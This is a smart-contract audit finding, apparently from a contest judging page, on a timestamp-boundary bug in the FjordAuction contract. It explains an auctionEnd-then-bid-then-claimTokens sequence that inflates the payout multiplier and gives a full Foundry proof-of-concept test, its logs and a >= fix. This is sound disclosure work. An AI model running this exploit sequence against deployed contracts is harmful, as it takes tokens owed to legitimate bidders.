Fjord Token Staking
Fjord
DeFiFoundry
20,000 USDC
View results
Previous Next
Submission Details
Severity: medium
Valid

`FjordAuction` incorrect `block.timestamp` check allows users to bid after calling `auctionEnd` to claim more tokens than they should

0xloscar01

Summary

The FjordAuction contract can be exploited when block.timestamp is equal to auctionEndTime by ending the auction and then placing a bid in the same block. This leads to an outdated and inflated multiplier value that allows the attacker to claim more tokens than their actual bid amount warrants.

Attack path: auctionEnd -> bid -> claimTokens

The steps of the attack are as follows:

1 - Ending the Auction:

The attacker first calls the auctionEnd function, if the transaction is included in a block where block.timestamp == auctionEndTime, the condition block.timestamp < auctionEndTime will not be met, allowing the function to proceed.

https://github.com/Cyfrin/2024-08-fjord/blob/main/src/FjordAuction.sol#L181-L202

function auctionEnd() external {
@> if (block.timestamp < auctionEndTime) {
revert AuctionNotYetEnded();
}
if (ended) {
revert AuctionEndAlreadyCalled();
}
​
ended = true;
emit AuctionEnded(totalBids, totalTokens);
​
if (totalBids == 0) {
auctionToken.transfer(owner, totalTokens);
return;
}
​
@> multiplier = totalTokens.mul(PRECISION_18).div(totalBids);
​
// Burn the FjordPoints held by the contract
uint256 pointsToBurn = fjordPoints.balanceOf(address(this));
fjordPoints.burn(pointsToBurn);
}

At this point, the multiplier is calculated based on the total number of tokens and bids placed up to this moment. The multiplier value is calculated only once, and it is not updated if new bids are placed after this function call.

multiplier = totalTokens.mul(PRECISION_18).div(totalBids);

A lower number of bids results in a higher multiplier, the attacker will benefit from this by placing a bid after calling the auctionEnd function, so that their bid is not considered in the multiplier calculation.

2 - Placing a Bid After Auction End:

Immediately after calling auctionEnd, the attacker can still call the bid function within the same block, as the block.timestamp is still equal to auctionEndTime. The attacker places a new bid even though the auction has technically ended.

https://github.com/Cyfrin/2024-08-fjord/blob/main/src/FjordAuction.sol#L143-L153

function bid(uint256 amount) external {
@> if (block.timestamp > auctionEndTime) {
revert AuctionAlreadyEnded();
}
​
@> bids[msg.sender] = bids[msg.sender].add(amount);
@> totalBids = totalBids.add(amount);
​
fjordPoints.transferFrom(msg.sender, address(this), amount);
emit BidAdded(msg.sender, amount);
}

This bid increases the totalBids and the individual bid amount for the attacker but the multiplier remains unchanged. The multiplier is thus inflated relative to the actual number of bids at the end of the auction.

3 - Claiming Excess Tokens:

Finally, the attacker calls the claimTokens function to claim their share of the auction tokens. The inflated multiplier is used to calculate the claimable value, and the attacker receives more tokens than they should, effectively stealing tokens from legitimate bidders.

https://github.com/Cyfrin/2024-08-fjord/blob/main/src/FjordAuction.sol#L207-L222

function claimTokens() external {
if (!ended) {
revert AuctionNotYetEnded();
}
​
uint256 userBids = bids[msg.sender];
if (userBids == 0) {
revert NoTokensToClaim();
}
​
@> uint256 claimable = userBids.mul(multiplier).div(PRECISION_18);
bids[msg.sender] = 0;
​
@> auctionToken.transfer(msg.sender, claimable);
emit TokensClaimed(msg.sender, claimable);
}

Vulnerability Details

PoC

// Test the exploit in the FjordAuction contract when `block.timestamp == auctionEndTime`.
// Test scenario:
// 1. Four bidders bid 100e18 FjordPoints each before the auction ends.
// 2. The attacker calls `auctionEnd`.
// 3. `multiplier` is calculated in `auctionEnd`. As four bidders's bids are considered, the `multiplier` value is 2.5e18
// 4. The attacker places a bid of 100e18 FjordPoints immediatly after calling `auctionEnd`.
// 5. As the attacker's bid is not considered in the already calculated `multiplier`,
// the `multiplier` value (2.5e18) is higher than it should be if the attacker's bid were included (2e18).
// 6. The attacker claims their tokens, receiving more than their fair share because the attacker's claimable tokens are calculated based on the inflated `multiplier`.
// 7. The remaining tokens are insufficient for all legitimate bidders to claim their share.
function testBlockTimestampExploit() public {
///////////////////
/// --- Setup ---
///////////////////
​
// Define four bidders and an attacker, each of whom will participate in the auction.
address[] memory bidders = new address[](4);
bidders[0] = address(0x2);
bidders[1] = address(0x3);
bidders[2] = address(0x4);
bidders[3] = address(0x5);
address attacker = address(0x6);
uint256 bidAmount = 100 ether;
​
// Distributing FjordPoints tokens to all bidders and the attacker
// Each participant, including the attacker, receives a balance of FjordPoints to use in the auction.
for (uint256 i = 0; i < bidders.length; i++) {
deal(address(fjordPoints), bidders[i], bidAmount);
}
deal(address(fjordPoints), attacker, bidAmount);
​
// Bidders approve the contract to spend their FjordPoints and then place their bids
for (uint256 i = 0; i < bidders.length; i++) {
approveAndBid(bidders[i], bidAmount);
}
​
// Time moves forward to the exact moment the auction is supposed to end
// We simulate the passage of time to bring us to the precise end of the auction, where `block.timestamp == auctionEndTime`.
skip(biddingTime);
assertEq(block.timestamp, auction.auctionEndTime());
​
///////////////////////////////////////////////////////////
/// --- Attack: `auctionEnd` -> `bid` -> `claimTokens` ---
///////////////////////////////////////////////////////////
​
// Step 1: The attacker calls `auctionEnd`
// The contract calculates the `multiplier` based on the current state.
vm.prank(attacker);
auction.auctionEnd();
​
// Capturing the multiplier value calculated without the attacker's bid
// At this moment, the `multiplier` is set based on bids that were placed before the auction ended, excluding any late bids.
console.log("`multiplier` value after `auctionEnd` call: ", auction.multiplier());
​
// Step 2: The attacker places a bid immediately after calling `auctionEnd`.
// The attacker places a new bid. This bid is not considered in the already calculated `multiplier`.
approveAndBid(attacker, bidAmount);
​
// Discrepancy created by the attacker's late bid:
// If the attacker's bid had been included earlier, the `multiplier` would be lower. The current higher `multiplier` benefits the attacker.
uint256 expectedMultiplier = totalTokens.mul(auction.PRECISION_18()).div(auction.totalBids());
assertGt(auction.multiplier(), expectedMultiplier);
console.log("Expected `multiplier` value if all bids, including the attacker's, were considered: ", expectedMultiplier);
​
// Step 3: The attacker claims their tokens, receiving more than their fair share
// With the inflated `multiplier`, the attacker now claims.
vm.prank(attacker);
auction.claimTokens();
console.log("Token amount claimed by the attacker: ", auctionToken.balanceOf(attacker));
console.log("Contract remaining token balance, after attacker claims: ", auctionToken.balanceOf(address(auction)));
​
// Consequences of the attack on other bidders:
// After the attacker has claimed, the remaining tokens are insufficient for all legitimate bidders to claim their share.
// The first three bidders successfully claim their tokens.
for (uint256 i = 0; i < bidders.length - 1; i++) {
vm.prank(bidders[i]);
auction.claimTokens();
}
console.log("Contract remaining token balance, after three of the four legitimate bidders claim: ", auctionToken.balanceOf(address(auction)));
​
// The final bidder tries to claim but fails due to insufficient token balance. The attacker has stolen their share.
vm.prank(bidders[bidders.length - 1]);
vm.expectRevert(bytes("ERC20: transfer amount exceeds balance"));
auction.claimTokens();
}
​
/**
* @notice Helper function to approve and bid with a bidder address and amount.
* @param bidder The address of the bidder.
* @param amount The amount of FjordPoints to bid.
*/
function approveAndBid(address bidder, uint256 amount) internal {
vm.startPrank(bidder);
fjordPoints.approve(address(auction), amount);
auction.bid(amount);
vm.stopPrank();
}
​

Logs:

`multiplier` value after `auctionEnd` call: 2500000000000000000
Expected `multiplier` value if all bids, including the attacker's, were considered: 2000000000000000000
Token amount claimed by the attacker: 250000000000000000000
Contract remaining token balance, after attacker claims: 750000000000000000000
Contract remaining token balance, after three of the four legitimate bidders claim: 0

Steps to reproduce the PoC:

  • Copy and paste the PoC into ./test/unit/auction.t.sol::TestAuction

  • Run forge test --mt testBlockTimestampExploit -vv in the terminal

Impact

Tokens allocated for legitimate bidders can be stolen.

Tools Used

Manual review

Recommendations

Update FjordAuction contract to use >= instead of > when comparing block.timestamp and auctionEndTime in the bid and unbid functions.

/**
* @notice Places a bid in the auction.
* @param amount The amount of FjordPoints to bid.
*/
function bid(uint256 amount) external {
- if (block.timestamp > auctionEndTime) {
+ if (block.timestamp >= auctionEndTime) {
revert AuctionAlreadyEnded();
}
​
bids[msg.sender] = bids[msg.sender].add(amount);
totalBids = totalBids.add(amount);
​
fjordPoints.transferFrom(msg.sender, address(this), amount);
emit BidAdded(msg.sender, amount);
}
​
/**
* @notice Allows users to withdraw part or all of their bids before the auction ends.
* @param amount The amount of FjordPoints to withdraw.
*/
function unbid(uint256 amount) external {
- if (block.timestamp > auctionEndTime) {
+ if (block.timestamp >= auctionEndTime) {
revert AuctionAlreadyEnded();
}
​
uint256 userBids = bids[msg.sender];
if (userBids == 0) {
revert NoBidsToWithdraw();
}
if (amount > userBids) {
revert InvalidUnbidAmount();
}
​
bids[msg.sender] = bids[msg.sender].sub(amount);
totalBids = totalBids.sub(amount);
fjordPoints.transfer(msg.sender, amount);
emit BidWithdrawn(msg.sender, amount);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Users can bid in the same block when the actionEnd could be called (`block.timestamp==actionEndTime`), depending on the order of txs in block they could lose funds

The protocol doesn't properly treat the `block.timestamp == auctionEndTime` case. Impact: High - There are at least two possible impacts here: 1. By chance, user bids could land in a block after the `auctionEnd()` is called, not including them in the multiplier calculation, leading to a situation where there are insufficient funds to pay everyone's claim; 2. By malice, where someone can use a script to call `auctionEnd()` + `bid(totalBids)` + `claimTokens()`, effectively depriving all good faith bidders from tokens. Likelihood: Low – The chances of getting a `block.timestamp == auctionEndTime` are pretty slim, but it’s definitely possible.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.